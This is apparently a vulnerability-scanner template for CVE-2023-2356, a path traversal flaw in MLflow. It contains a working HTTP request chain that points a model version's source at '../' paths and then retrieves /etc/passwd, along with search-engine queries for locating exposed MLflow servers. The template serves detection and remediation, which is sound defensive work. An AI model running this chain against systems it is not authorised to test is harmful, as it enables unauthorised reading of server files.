CVE-2023-2356: Mlflow <2.3.0 - Local File Inclusion

id: CVE-2023-2356

info:
  name: Mlflow <2.3.0 - Local File Inclusion
  author: Co5mos
  severity: high
  description: |
    Relative Path Traversal in GitHub repository mlflow/mlflow prior to 2.3.1.
  impact: |
    Successful exploitation could allow an attacker to read sensitive files on the server.
  remediation: |
    Upgrade Mlflow to version 2.3.0 or above to mitigate the vulnerability.
  reference:
    - https://huntr.dev/bounties/7b5d130d-38eb-4133-8c7d-0dfc9a9d9896/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2356
    - https://github.com/mlflow/mlflow/commit/f73147496e05c09a8b83d95fb4f1bf86696c6342
    - https://github.com/Ostorlab/KEV
    - https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-2356
    cwe-id: CWE-23
    epss-score: 0.82838
    epss-percentile: 0.99204
    cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: lfprojects
    product: mlflow
    shodan-query: http.title:"mlflow"
    fofa-query:
      - app="MLflow"
      - app="mlflow"
      - title="mlflow"
    google-query: intitle:"mlflow"
  tags: cve2023,cve,lfi,huntr,mlflow,oss,intrusive,lfprojects
variables:
  str: "{{rand_base(6)}}"

http:
  - raw:
      - |
        POST /api/2.0/mlflow/registered-models/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{str}}"}
      - |
        POST /api/2.0/mlflow/model-versions/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{str}}", "source": "file://{{Hostname}}/../../../../../../../"}
      - |
        GET /model-versions/get-artifact?path=etc/passwd&name={{str}}&version={{version}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - root:[x*]:0:0

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: version
        group: 1
        regex:
          - '"version": "([0-9.]+)",'
        internal: true
        part: body
# digest: 4a0a00473045022100c2a95a29056b3222b4f124c2a1e1c7bfe7d093d1eda947bbefea741ca1f26b0c0220055c1998d050d61b8acded921060aacd2d5312e5a9c4b7823ea712add05c755b:922c64590222798bb761d5b6d8e72950